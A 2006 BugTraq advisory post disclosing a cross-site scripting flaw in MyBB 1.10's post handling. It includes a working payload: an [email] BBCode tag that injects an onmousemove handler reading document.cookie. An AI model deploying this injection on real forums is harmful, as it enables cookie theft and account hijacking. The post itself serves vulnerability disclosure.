BugTraq
MyBB 1.10 New CrossSiteScripting Apr 02 2006 06:15PM
o y 6 hotmail com
MyBB 1.10 CrossSiteScripting

File :- inc/functions_post.php

BugTraqer :- Devil-00 < stranger-killer (at) hotmail (dot) com [email concealed] >

we can do attack by some unfilter tags :-

Post New Thread Or New Replay With This Code :D
And Try To Move The Mouse Over The Email ;)

[code]
[email=a" onmousemove="alert(document.cookie);" aaa (at) aaa (dot) aaa [email concealed]]Click Here![/email]
[/code]
Palestinian Hacker < Devil-00 | D3vil-0x1 >
Visit Palestine Thro www.palestinepnly.com

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus